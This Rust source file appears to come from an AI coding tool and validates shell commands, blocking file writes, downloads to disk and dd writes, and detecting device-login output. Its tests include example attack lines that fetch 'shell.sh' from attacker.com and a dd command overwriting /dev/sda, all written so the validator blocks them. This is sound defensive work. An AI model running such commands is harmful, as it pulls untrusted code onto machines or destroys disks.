1use crate::tools::CrpMode;
2
3const MAX_COMMAND_BYTES: usize = 8192;
4
5pub fn validate_command(command: &str) -> Option<String> {
8 if command.len() > MAX_COMMAND_BYTES {
9 return Some(format!(
10 "ERROR: Command too large ({} bytes, limit {}). \
11 If you're writing file content, use the native Write/Edit tool instead. \
12 ctx_shell is for reading command output only (git, cargo, npm, etc.).",
13 command.len(),
14 MAX_COMMAND_BYTES
15 ));
16 }
17
18 let cmd_no_heredoc = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
21 if has_file_write_redirect(&cmd_no_heredoc) {
22 return Some(
23 "ERROR: ctx_shell detected a file-write command (shell redirect > or >>). \
24 Use the native Write tool to create/modify files. \
25 ctx_shell is ONLY for reading command output (git status, cargo test, npm run, etc.). \
26 File writes via shell cause MCP protocol corruption on large payloads."
27 .to_string(),
28 );
29 }
30
31 let cmd_lower = command.to_lowercase();
32
33 if cmd_lower.starts_with("tee ") || cmd_lower.contains("| tee ") {
34 return Some(
35 "ERROR: ctx_shell detected a file-write command (tee). \
36 Use the native Write tool to create/modify files. \
37 ctx_shell is ONLY for reading command output."
38 .to_string(),
39 );
40 }
41
42 if is_heredoc_file_write(command) {
43 return Some(
44 "ERROR: ctx_shell detected a heredoc writing to a file. \
45 Use the native Write tool to create/modify files. \
46 ctx_shell is ONLY for reading command output. \
47 Note: heredocs for input piping (e.g. psql <<EOF) are allowed."
48 .to_string(),
49 );
50 }
51
52 if let Some(reason) = download_to_file_reason(command) {
53 return Some(format!(
54 "ERROR: ctx_shell detected a file download/write ({reason}). \
55 ctx_shell is ONLY for reading command output — redirect-free flags bypass \
56 this doctrine, so they are blocked too (GH #391). \
57 Fetch to stdout instead (curl <url>, wget -qO- <url>) or use the editor's \
58 native tools to create files."
59 ));
60 }
61
62 None
63}
64
65fn download_to_file_reason(command: &str) -> Option<String> {
69 for seg in crate::core::shell_allowlist::extract_all_commands_pub(command) {
70 let tokens = crate::core::shell_allowlist::shell_tokenize(seg.trim());
71 let Some(first) = tokens.first() else {
72 continue;
73 };
74 let base = first.rsplit('/').next().unwrap_or(first);
75 match base {
76 "curl" => {
77 for tok in &tokens[1..] {
78 if tok == "--output"
79 || tok.starts_with("--output=")
80 || tok == "--remote-name"
81 || tok == "--remote-name-all"
82 || tok == "--output-dir"
83 || tok.starts_with("--output-dir=")
84 {
85 return Some(format!("curl {tok}"));
86 }
87 if tok.starts_with('-')
89 && !tok.starts_with("--")
90 && tok[1..].contains(['o', 'O'])
91 {
92 return Some(format!("curl {tok}"));
93 }
94 }
95 }
96 "wget" => {
97 let to_stdout = tokens[1..].iter().enumerate().any(|(i, tok)| {
99 tok == "--output-document=-"
100 || tok == "-O-"
101 || (tok.starts_with('-') && !tok.starts_with("--") && tok.ends_with("O-"))
102 || ((tok == "-O" || tok == "--output-document")
103 && tokens.get(i + 2).map(std::string::String::as_str) == Some("-"))
104 || tok == "--spider"
105 });
106 if !to_stdout {
107 return Some(
108 "wget downloads to a file by default; use wget -qO- <url> for stdout"
109 .to_string(),
110 );
111 }
112 }
113 "dd" => {
114 for tok in &tokens[1..] {
115 if tok.starts_with("of=") && !tok.starts_with("of=/dev/null") {
116 return Some(format!("dd {tok}"));
117 }
118 }
119 }
120 _ => {}
121 }
122 }
123 None
124}
125
126fn is_heredoc_file_write(command: &str) -> bool {
129 let has_heredoc = command.contains("<<");
130 if !has_heredoc {
131 return false;
132 }
133 let cmd_lower = command.to_lowercase();
134 let heredoc_patterns = ["<<eof", "<<'eof'", "<<\"eof\"", "<<end", "<<'end'"];
135 let has_known_heredoc = heredoc_patterns.iter().any(|p| cmd_lower.contains(p));
136 if !has_known_heredoc {
137 return false;
138 }
139 let stripped = crate::core::shell_allowlist::strip_all_heredoc_bodies(command);
142 has_file_write_redirect(&stripped)
143}
144
145pub fn is_temp_redirect_target(target: &str) -> bool {
151 let t = target.trim_start_matches(['>', '&']);
152 let lower = t.to_lowercase();
153 lower.starts_with("/tmp/")
154 || lower.starts_with("/tmp")
155 || lower.contains("\\temp\\")
156 || lower.contains("\\tmp\\")
157 || lower.starts_with("$tmpdir/")
158 || lower.starts_with("${tmpdir}")
159}
160
161fn has_file_write_redirect(command: &str) -> bool {
162 let bytes = command.as_bytes();
163 let len = bytes.len();
164 let mut i = 0;
165 let mut in_single_quote = false;
166 let mut in_double_quote = false;
167
168 while i < len {
169 let c = bytes[i];
170 if c == b'\\' && !in_single_quote {
171 i += 2;
177 continue;
178 }
179 if c == b'\'' && !in_double_quote {
180 in_single_quote = !in_single_quote;
181 } else if c == b'"' && !in_single_quote {
182 in_double_quote = !in_double_quote;
183 } else if c == b'>' && !in_single_quote && !in_double_quote {
184 if i > 0 && bytes[i - 1] == b'2' {
185 i += 1;
186 continue;
187 }
188 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
189 i + 2
190 } else {
191 i + 1
192 };
193 let target: String = command[target_start..]
194 .trim_start()
195 .chars()
196 .take_while(|c| !c.is_whitespace())
197 .collect();
198 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
199 i += 1;
200 continue;
201 }
202 if is_temp_redirect_target(&target) {
205 i += 1;
206 continue;
207 }
208 if !target.is_empty() {
209 return true;
210 }
211 }
212 i += 1;
213 }
214 false
215}
216
217pub fn normalize_command_for_shell(command: &str) -> String {
220 if !cfg!(windows) {
221 return command.to_string();
222 }
223 let (_, flag) = crate::shell::shell_and_flag();
224 if flag != "/C" {
225 return command.to_string();
226 }
227 let bytes = command.as_bytes();
228 let mut result = Vec::with_capacity(bytes.len() + 16);
229 let mut in_single = false;
230 let mut in_double = false;
231 for (i, &b) in bytes.iter().enumerate() {
232 if b == b'\'' && !in_double {
233 in_single = !in_single;
234 } else if b == b'"' && !in_single {
235 in_double = !in_double;
236 } else if b == b';' && !in_single && !in_double {
237 result.extend_from_slice(b" && ");
238 continue;
239 }
240 result.push(b);
241 let _ = i;
242 }
243 String::from_utf8(result).unwrap_or_else(|_| command.to_string())
244}
245
246pub fn handle(command: &str, output: &str, exit_code: i32, _crp_mode: CrpMode) -> String {
251 crate::shell::compress::engine::compress_for_outcome(command, output, exit_code)
252}
253
254#[cfg(test)]
255fn is_search_command(command: &str) -> bool {
256 let cmd = command.trim_start();
257 cmd.starts_with("grep ")
258 || cmd.starts_with("rg ")
259 || cmd.starts_with("find ")
260 || cmd.starts_with("fd ")
261 || cmd.starts_with("ag ")
262 || cmd.starts_with("ack ")
263}
264
265#[cfg(test)]
266fn generic_compress(output: &str) -> String {
267 let output = crate::core::compressor::strip_ansi(output);
268 let lines: Vec<&str> = output
269 .lines()
270 .filter(|l| {
271 let t = l.trim();
272 !t.is_empty()
273 })
274 .collect();
275
276 if lines.len() <= 20 {
277 return lines.join("\n");
278 }
279
280 let show_count = (lines.len() / 3).min(30);
281 let half = show_count / 2;
282 let first = &lines[..half];
283 let last = &lines[lines.len() - half..];
284 let omitted = lines.len() - (half * 2);
285 format!(
286 "{}\n[truncated: showing {}/{} lines, {} omitted. Use raw=true for full output.]\n{}",
287 first.join("\n"),
288 half * 2,
289 lines.len(),
290 omitted,
291 last.join("\n")
292 )
293}
294
295pub fn contains_auth_flow(output: &str) -> bool {
299 let lower = output.to_lowercase();
300
301 const STRONG_SIGNALS: &[&str] = &[
302 "devicelogin",
303 "deviceauth",
304 "device_code",
305 "device code",
306 "device-code",
307 "verification_uri",
308 "user_code",
309 "one-time code",
310 ];
311
312 if STRONG_SIGNALS.iter().any(|s| lower.contains(s)) {
313 return true;
314 }
315
316 const WEAK_SIGNALS: &[&str] = &[
317 "enter the code",
318 "enter this code",
319 "enter code:",
320 "use the code",
321 "use a web browser to open",
322 "open the page",
323 "authenticate by visiting",
324 "sign in with the code",
325 "sign in using a code",
326 "verification code",
327 "authorize this device",
328 "waiting for authentication",
329 "waiting for login",
330 "waiting for you to authenticate",
331 "open your browser",
332 "open in your browser",
333 ];
334
335 let has_weak_signal = WEAK_SIGNALS.iter().any(|s| lower.contains(s));
336 if !has_weak_signal {
337 return false;
338 }
339
340 lower.contains("http://") || lower.contains("https://")
341}
342
343#[cfg(test)]
344mod tests {
345 use super::*;
346
347 #[test]
348 fn normalize_cmd_no_change_on_unix() {
349 if cfg!(windows) {
350 return;
351 }
352 assert_eq!(
353 normalize_command_for_shell("cd /tmp; ls -la"),
354 "cd /tmp; ls -la"
355 );
356 }
357
358 #[test]
359 fn validate_allows_safe_commands() {
360 assert!(validate_command("git status").is_none());
361 assert!(validate_command("cargo test").is_none());
362 assert!(validate_command("npm run build").is_none());
363 assert!(validate_command("ls -la").is_none());
364 }
365
366 #[test]
367 fn validate_blocks_file_writes() {
368 assert!(validate_command("echo 'data' > output.txt").is_some());
369 assert!(validate_command("tee /tmp/file.txt").is_some());
370 assert!(validate_command("printf 'hello' > test.txt").is_some());
371 }
372
373 #[test]
374 fn validate_blocks_heredoc_with_file_redirect() {
375 assert!(validate_command("cat > file.py <<'EOF'\nprint('hi')\nEOF").is_some());
376 assert!(validate_command("cat <<EOF > output.txt\nhello\nEOF").is_some());
377 assert!(validate_command("cat <<'END' >> logfile.txt\ndata\nEND").is_some());
378 }
379
380 #[test]
381 fn validate_allows_heredoc_without_file_redirect() {
382 assert!(validate_command("cat <<EOF\nhello world\nEOF").is_none());
383 assert!(validate_command("psql -d mydb <<EOF\nSELECT 1;\nEOF").is_none());
384 assert!(
385 validate_command("git commit -m \"$(cat <<'EOF'\nfix: something\nEOF\n)\"").is_none()
386 );
387 assert!(validate_command("grep pattern <<EOF\nfoo\nbar\nEOF").is_none());
388 }
389
390 #[test]
391 fn validate_blocks_oversized_commands() {
392 let huge = "x".repeat(MAX_COMMAND_BYTES + 1);
393 let result = validate_command(&huge);
394 assert!(result.is_some());
395 assert!(result.unwrap().contains("too large"));
396 }
397
398 #[test]
399 fn validate_allows_cat_without_redirect() {
400 assert!(validate_command("cat file.txt").is_none());
401 }
402
403 #[test]
406 fn validate_allows_escaped_quotes_with_angle_brackets() {
407 assert!(
410 validate_command(
411 "gh issue comment 1 --body \"$(printf 'says \\\"root: <root>\\\" only')\""
412 )
413 .is_none()
414 );
415 assert!(validate_command("echo \"say \\\">hi<\\\" ok\"").is_none());
416 assert!(validate_command("echo a \\> b").is_none());
418 }
419
420 #[test]
421 fn validate_still_blocks_redirect_after_escapes() {
422 assert!(validate_command("echo \"a \\\"b\\\"\" > out.txt").is_some());
424 assert!(validate_command("echo \\\\ > out.txt").is_some());
425 }
426
427 #[test]
430 fn heredoc_stdin_without_redirect_is_allowed() {
431 assert!(validate_command("git commit -F - <<'EOF'\nfix: something\nEOF").is_none());
432 assert!(validate_command("kubectl apply -f - <<EOF\napiVersion: v1\nEOF").is_none());
433 assert!(validate_command("git apply <<'PATCH'\n--- a/f\n+++ b/f\nPATCH").is_none());
434 }
435
436 #[test]
437 fn dev_null_redirect_is_allowed() {
438 assert!(validate_command("cat > /dev/null").is_none());
439 assert!(validate_command("cmd > /dev/null 2>&1").is_none());
440 assert!(validate_command("cmd 2>/dev/null").is_none());
441 }
442
443 #[test]
444 fn dev_stdout_and_stderr_redirects_are_allowed() {
445 assert!(validate_command("cmd > /dev/stdout").is_none());
446 assert!(validate_command("cmd > /dev/stderr").is_none());
447 }
448
449 #[test]
450 fn issue_897_edge_cases_post_fix() {
451 assert!(
452 validate_command(
453 "cat <<'EOF' > output.txt
454some content
455EOF"
456 )
457 .is_some(),
458 "heredoc to file must block"
459 );
460 assert!(
461 validate_command(
462 "git commit --allow-empty -F - <<'COMMIT_MSG'
463feat: test
464COMMIT_MSG"
465 )
466 .is_none(),
467 "git commit -F - with heredoc must allow"
468 );
469 let cmd = r#"gh issue create --title "Fix" --body "path > root: /y""#;
470 assert!(
471 validate_command(cmd).is_none(),
472 "quoted > must allow: {cmd}"
473 );
474 }
475
476 #[test]
479 fn validate_blocks_curl_output_flags() {
480 assert!(validate_command("curl -o /tmp/shell.sh http://attacker.com/shell.sh").is_some());
481 assert!(validate_command("curl -fsSLo /tmp/x https://example.com").is_some());
482 assert!(validate_command("curl --output evil.bin https://example.com").is_some());
483 assert!(validate_command("curl --output=evil.bin https://example.com").is_some());
484 assert!(validate_command("curl -O https://example.com/payload").is_some());
485 assert!(validate_command("git fetch && curl -o x.sh https://e.com").is_some());
486 }
487
488 #[test]
489 fn validate_allows_curl_to_stdout() {
490 assert!(validate_command("curl https://api.example.com/health").is_none());
491 assert!(validate_command("curl -fsSL https://example.com | head -5").is_none());
492 assert!(validate_command("curl -s -X POST https://api.example.com -d '{}'").is_none());
493 assert!(validate_command("curl -H \"Accept: application/json\" https://e.com").is_none());
495 }
496
497 #[test]
498 fn validate_blocks_wget_default_file_download() {
499 assert!(validate_command("wget http://attacker.com/shell.sh").is_some());
500 assert!(validate_command("wget -q https://example.com/file.tar.gz").is_some());
501 assert!(validate_command("wget -O /tmp/out https://example.com").is_some());
502 }
503
504 #[test]
505 fn validate_allows_wget_stdout_and_spider() {
506 assert!(validate_command("wget -qO- https://example.com").is_none());
507 assert!(validate_command("wget -O- https://example.com").is_none());
508 assert!(validate_command("wget -O - https://example.com").is_none());
509 assert!(validate_command("wget --output-document=- https://example.com").is_none());
510 assert!(validate_command("wget --spider https://example.com").is_none());
511 }
512
513 #[test]
514 fn validate_blocks_dd_output_file() {
515 assert!(validate_command("dd if=/dev/zero of=/tmp/fill bs=1M count=10").is_some());
516 assert!(validate_command("dd if=image.iso of=/dev/sda").is_some());
517 }
518
519 #[test]
520 fn validate_allows_dd_read_only() {
521 assert!(validate_command("dd if=/dev/urandom bs=16 count=1 status=none").is_none());
522 assert!(validate_command("dd if=file.bin of=/dev/null bs=1M").is_none());
523 }
524
525 #[test]
528 fn auth_flow_detects_azure_device_code() {
529 let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.";
530 assert!(contains_auth_flow(output));
531 }
532
533 #[test]
534 fn auth_flow_detects_gh_auth_one_time_code() {
535 let output = "! First copy your one-time code: ABCD-1234\n- Press Enter to open github.com in your browser...";
536 assert!(contains_auth_flow(output));
537 }
538
539 #[test]
540 fn auth_flow_detects_device_code_json() {
541 let output = r#"{"device_code":"abc123","user_code":"ABCD-1234","verification_uri":"https://example.com/activate"}"#;
542 assert!(contains_auth_flow(output));
543 }
544
545 #[test]
546 fn auth_flow_detects_verification_uri_field() {
547 let output =
548 r#"{"verification_uri": "https://login.microsoftonline.com/common/oauth2/deviceauth"}"#;
549 assert!(contains_auth_flow(output));
550 }
551
552 #[test]
553 fn auth_flow_detects_user_code_field() {
554 let output = r#"{"user_code": "FGHJK-LMNOP", "expires_in": 900}"#;
555 assert!(contains_auth_flow(output));
556 }
557
558 #[test]
561 fn auth_flow_detects_gcloud_with_url() {
562 let output = "Go to the following link in your browser:\n\n https://accounts.google.com/o/oauth2/auth?response_type=code\n\nEnter verification code: ";
563 assert!(contains_auth_flow(output));
564 }
565
566 #[test]
567 fn auth_flow_detects_aws_sso_with_url() {
568 let output = "If the browser does not open, open the following URL:\nhttps://device.sso.us-east-1.amazonaws.com/\n\nThen enter the code:\nABCD-EFGH";
569 assert!(contains_auth_flow(output));
570 }
571
572 #[test]
573 fn auth_flow_detects_firebase_with_url() {
574 let output = "Visit this URL on this device to log in:\nhttps://accounts.google.com/o/oauth2/auth?...\n\nWaiting for authentication...";
575 assert!(contains_auth_flow(output));
576 }
577
578 #[test]
579 fn auth_flow_detects_generic_browser_open_with_url() {
580 let output =
581 "Open your browser to https://login.example.com/device and enter the code XYZW-1234";
582 assert!(contains_auth_flow(output));
583 }
584
585 #[test]
588 fn auth_flow_ignores_normal_build_output() {
589 let output = "Compiling lean-ctx v2.21.9\nFinished release profile\n";
590 assert!(!contains_auth_flow(output));
591 }
592
593 #[test]
594 fn auth_flow_ignores_git_output() {
595 let output = "On branch main\nYour branch is up to date with 'origin/main'.\nnothing to commit, working tree clean";
596 assert!(!contains_auth_flow(output));
597 }
598
599 #[test]
600 fn auth_flow_ignores_npm_install_output() {
601 let output = "added 150 packages in 3s\n\n24 packages are looking for funding\n run `npm fund` for details\nhttps://npmjs.com/package/lean-ctx";
602 assert!(!contains_auth_flow(output));
603 }
604
605 #[test]
606 fn auth_flow_ignores_docs_mentioning_auth() {
607 let output = "The authorization code grant type is the most common OAuth flow.\nSee https://oauth.net/2/grant-types/ for details.";
608 assert!(!contains_auth_flow(output));
609 }
610
611 #[test]
612 fn auth_flow_weak_signal_requires_url() {
613 let output = "Please enter the code ABC123 in the terminal";
614 assert!(!contains_auth_flow(output));
615 }
616
617 #[test]
618 fn auth_flow_weak_signal_without_url_is_ignored() {
619 let output = "Waiting for authentication to complete... done!";
620 assert!(!contains_auth_flow(output));
621 }
622
623 #[test]
624 fn auth_flow_ignores_virtualenv_activate() {
625 let output = "Created virtualenv at .venv\nRun: source .venv/bin/activate";
626 assert!(!contains_auth_flow(output));
627 }
628
629 #[test]
630 fn auth_flow_ignores_api_response_with_code_field() {
631 let output = r#"{"status": "ok", "code": 200, "message": "success"}"#;
632 assert!(!contains_auth_flow(output));
633 }
634
635 #[test]
638 fn handle_preserves_auth_flow_output_fully() {
639 let output = "To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code ABCD1234 to authenticate.\nWaiting for you...\nLine 3\nLine 4\nLine 5\nLine 6\nLine 7\nLine 8\nLine 9\nLine 10\nLine 11\nLine 12\nLine 13";
640 let result = handle("az login --use-device-code", output, 0, CrpMode::Off);
642 assert!(result.contains("ABCD1234"), "auth code must be preserved");
643 assert!(result.contains("devicelogin"), "URL must be preserved");
644 assert!(
645 result.contains("Line 13"),
646 "all lines must be preserved (no truncation)"
647 );
648 }
649
650 #[test]
651 fn handle_compresses_normal_output_not_auth() {
652 let lines: Vec<String> = (1..=20).map(|i| format!("Line {i} of output")).collect();
653 let output = lines.join("\n");
654 let result = handle("some-tool check", &output, 0, CrpMode::Off);
655 assert!(
656 !result.contains("auth/device-code flow detected"),
657 "normal output must not trigger auth detection"
658 );
659 assert!(
660 result.len() < output.len() + 100,
661 "normal output should be compressed, not inflated"
662 );
663 }
664
665 #[test]
666 fn is_search_command_detects_grep() {
667 assert!(is_search_command("grep -r pattern src/"));
668 assert!(is_search_command("rg pattern src/"));
669 assert!(is_search_command("find . -name '*.rs'"));
670 assert!(is_search_command("fd pattern"));
671 assert!(is_search_command("ag pattern src/"));
672 assert!(is_search_command("ack pattern"));
673 }
674
675 #[test]
676 fn is_search_command_rejects_non_search() {
677 assert!(!is_search_command("cargo build"));
678 assert!(!is_search_command("git status"));
679 assert!(!is_search_command("npm install"));
680 assert!(!is_search_command("cat file.rs"));
681 }
682
683 #[test]
684 fn generic_compress_preserves_short_output() {
685 let lines: Vec<String> = (1..=20).map(|i| format!("Line {i}")).collect();
686 let output = lines.join("\n");
687 let result = generic_compress(&output);
688 assert_eq!(result, output);
689 }
690
691 #[test]
692 fn generic_compress_scales_with_length() {
693 let lines: Vec<String> = (1..=60).map(|i| format!("Line {i}")).collect();
694 let output = lines.join("\n");
695 let result = generic_compress(&output);
696 assert!(result.contains("truncated"));
697 let shown_count = result.lines().count();
698 assert!(
699 shown_count > 10,
700 "should show more than old 6-line limit, got {shown_count}"
701 );
702 assert!(shown_count < 60, "should be truncated, not full output");
703 }
704
705 #[test]
706 fn handle_preserves_search_results() {
707 let lines: Vec<String> = (1..=30)
708 .map(|i| format!("src/file{i}.rs:42: fn search_result()"))
709 .collect();
710 let output = lines.join("\n");
711 let result = handle("rg search_result src/", &output, 0, CrpMode::Off);
712 for i in 1..=30 {
713 assert!(
714 result.contains(&format!("file{i}")),
715 "search result file{i} should be preserved in output"
716 );
717 }
718 }
719
720 #[test]
723 fn unquoted_heredoc_gt_in_body_not_blocked() {
724 let cmd = "psql <<SQL\nSELECT * FROM t WHERE x > 0;\nSQL";
725 assert!(
726 validate_command(cmd).is_none(),
727 "unquoted heredoc body with > must not be flagged as redirect"
728 );
729 }
730
731 #[test]
732 fn unquoted_heredoc_append_in_body_not_blocked() {
733 let cmd = "cat <<END\nline with >> inside\nEND";
734 assert!(
735 validate_command(cmd).is_none(),
736 "unquoted heredoc body with >> must not be flagged"
737 );
738 }
739
740 #[test]
741 fn real_redirect_after_heredoc_still_blocked() {
742 let cmd = "cat <<EOF > output.txt\ndata\nEOF";
743 assert!(
744 validate_command(cmd).is_some(),
745 "redirect OUTSIDE heredoc body must still block"
746 );
747 }
748}